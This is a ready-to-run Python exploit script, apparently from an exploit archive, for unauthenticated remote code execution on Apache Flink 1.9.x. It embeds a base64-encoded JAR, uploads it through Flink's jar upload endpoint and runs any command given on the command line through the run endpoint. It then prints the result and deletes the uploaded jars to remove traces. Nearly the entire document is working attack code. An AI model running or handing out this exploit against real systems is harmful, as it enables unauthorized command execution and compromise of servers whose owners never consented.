1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
#!/usr/bin/env python3 # _*_ coding: utf-8 _*_ # Exploit Title: Apache Flink 1.9.x - File Upload RCE (Unauthenticated) # Google Dork: None # Date: 2020.11.01 # Exploit Author: bigger.wing # Vendor Homepage: https://flink.apache.org/ # Software Link: https://flink.apache.org/downloads.html # Version: 1.9.x # Tested on: Centos7.x, 1.9.1 # CVE: None import io import re import sys import base64 import requests class FlinkRCECheck: def __init__(self, url): self.url = url self.timeout = 10 self.upload_file = 'rce_check_from_sec.jar' self.headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/61.0 Safari/537.36' } @property def get_version(self): url = '%s/%s' % (self.url, 'config') try: res = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False) version = res.json().get('flink-version') except: version = 'unknown' return version @property def jar_check(self): url = '%s/%s' % (self.url, 'jars') jar_list = [] try: res = requests.get(url, headers=self.headers, verify=False, timeout=self.timeout) if res.status_code == 200 and 'application/json' in res.headers.get('Content-Type', ''): res = res.json() for file in res['files']: if file['id'].endswith(self.upload_file): jar_list.append(file['id']) except Exception as e: pass return jar_list @property def jar_upload(self): url = '%s/%s' % (self.url, 'jars/upload') jar_content = base64.b64decode('UEsDBBQACAgIACJ1bU8AAAAAAAAAAAAAAAAUAAQATUVUQS1JTkYvTUFOSUZFU1QuTUb+ygAA803My' '0xLLS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALg' 'AAAFBLAwQKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAE1FVEEtSU5GL1BLAwQUAAgICAAidW1PAAA' 'AAAAAAAAAAAAADQAAAEV4ZWN1dGUuY2xhc3ONVet2E1UU/k4yyUwmQy+TQlsQBdSStqSxiIotIlAK' 'VkJbSa0G8DKZHpPTJjNhLjTVCvoQ/ugT8MsfqCtx0aUPwEOx3Gdo09KGtUzW7H3O3vvbt7PPzPMXz' '/4FMIlfdbyDyxo+1XBFx1Vc05HCjIbrks+quKHipobPNMzp0PC5hlsqChpu6+jBvCQLGhal6gsVd3' 'QUsaRjAF9qWJb8K0m+lqQkyd0URbin4r6OkzLoN5J/K8l3Or6HpaKswmZIXhKOCC4zxLOjywzKjLv' 'CGXoLwuHzYb3MvSWrXCOJWXBtq7ZseULud4RKUBU+Q6ow2+R2GPBpEtUt4TAcy94rrFoPrXzNcir5' 'YuAJpzItA7AGw/F9qkXPtbnvXwtFbYV75CDeCDZkuENo8m15FQqX6eKaHLuEtesrtJI2h0NIG7ujC' 'QNRyxdty3GiqPps0+aNQLiOr4J86EU39Gx+Q8gyjZ3yJiTSwLsYYQCD6voTjlXnKriBH1AxUIWgJN' 'aFY2AVawxDr6uToe9gCeSPsp/gTQoYy9syTI5k+bJw8n6VkogAws2/zCkVKcqWX5WWNQN1UNtjOQK' '6oB73H6pSxQMDHnxpH5Dp/asGQjw0sA7KtwlhYAMjBn7ETwyDB9PrJB7fvLJpYBM/G3gEoeKxgV9Q' 'o0x3mvRKaQvlVW5TsMyeqNPoV3uw4Qe8zpCu8IBa1eCenIKRbJch6nb46cAtuOvcm7F8SmAg29VIs' '10noOmk8Tix3/FM1fKK/EHIHZtPj95lONotLM1ukjeFH/jRXSGzhB9YXiDNR7tOW/8hIUMP1TfnNM' 'KA3HKLCh7cBdPJ7lMQfCjbVSETMUKfX+c1UReBPJKzr2/TgTFXq5Y/z5uUtOJELGHXXNmyuBvKSjo' 'RF8nJXipJq9HgDl2L3P86kL3LrAXu7nRnurim+A25w2m8Te9G+YvRxaILRvQs7fLE6a4hMdYGexqp' 's0STkZBhlKjx0gBjGCeewjnkyIrAbInskiT7y4wVxuLnb5vxv6G0kDCTLahbOLUNrZT8B6lS3NSLJ' 'cVMF0uJc8U2jPknuGAemVK20VMye9voa6F/C6rZK0W7mGFFYswOJtdCRuoHSsMU5Ggbx8zBFoamEs' 'OJFoa3kJb8+BMo4wW5OvEH3tjGyVIbb5pvtXBqnJ5o0cLpFs7s1fohjhCN01+BSvUMEr1AdV6Ejpt' 'I4xbpOXqxhj66kP34DSb+RCbqzR36WEwScoIaGSdEDu/RXpE9wXm8H/l9St4m5dsMv+MDWsXI28IO' 'Yg1zFP8jQjwifhEfU5+nCKWQ/TQ9l6IsP/kPUEsHCEEOnKXWAwAA4gYAAFBLAQIUABQACAgIACJ1b' 'U+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSw' 'ECCgAKAAAIAAAidW1PAAAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAB2AAAATUVUQS1JTkYvUEsBAhQ' 'AFAAICAgAInVtT0EOnKXWAwAA4gYAAA0AAAAAAAAAAAAAAAAAnQAAAEV4ZWN1dGUuY2xhc3NQSwUG' 'AAAAAAMAAwC4AAAArgQAAAAA') files = {'jarfile': (self.upload_file, io.BytesIO(jar_content), 'application/octet-stream')} try: res = requests.post(url, headers=self.headers, files=files, timeout=self.timeout, verify=False) file_id = res.json()['filename'].split('/')[-1] return file_id except Exception as e: res = False return res @property # delete history jar packages def jar_delete(self): for jar_name in self.jar_check: url = '%s//jars/%s' % (self.url, jar_name) try: requests.delete(url=url, headers=self.headers, timeout=self.timeout, verify=False) except: pass return def rce(self, command): jar_file = self.jar_upload try: execute_cmd_url = '%s/jars/%s/run?entry-class=Execute&program-args="%s"' % (self.url, jar_file, command) res = requests.post(url=execute_cmd_url, headers=self.headers, timeout=self.timeout, verify=False) res = re.findall('\|@\|(.*?)\|@\|', res.text)[0][0:-2] if res: print('rce command "%s" exec result: %s' % (command, res)) state = 1 msg = '%s rce success' % self.url else: state = 0 msg = '%s rce failed' % self.url except: state = 0 msg = '%s rce failed' % self.url delete = self.jar_delete return {'state': state, 'version': self.get_version, 'msg': msg} if __name__ == '__main__': usage = 'python3 script.py ip port command' if len(sys.argv) != 4: print('simple usage: %s' % usage) else: ip = sys.argv[1] port = sys.argv[2] command = sys.argv[3] url = 'http://%s:%s' % (ip, port) res = FlinkRCECheck(url=url).rce(command=command) print(res) |